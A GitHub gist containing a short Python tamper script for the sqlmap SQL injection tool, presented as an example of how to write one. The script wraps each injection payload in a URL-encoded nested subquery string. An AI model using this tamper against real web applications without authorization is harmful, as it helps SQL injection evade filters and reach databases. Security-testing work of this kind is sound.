Created
December 3, 2017 22:00
-
-
Save KINGSABRI/c8b03821e1b8da5dd080f479e9b6b057 to your computer and use it in GitHub Desktop.
How to create SQLmap tamper
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
""" | |
KING SABRI | @KINGSABRI | |
An example of sqlmap tamper script to inject the payload in query | |
""" | |
from lib.core.data import kb | |
from lib.core.enums import PRIORITY | |
import string | |
import re | |
__priority__ = PRIORITY.HIGHEST | |
def dependencies(): | |
pass | |
def tamper(payload, **kwargs): | |
query = "'%2b(select*from(select(QUERYQUERY))a)%2b'" | |
retVal = payload | |
if payload: | |
retVal = query.replace("QUERYQUERY", payload) | |
return retVal |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment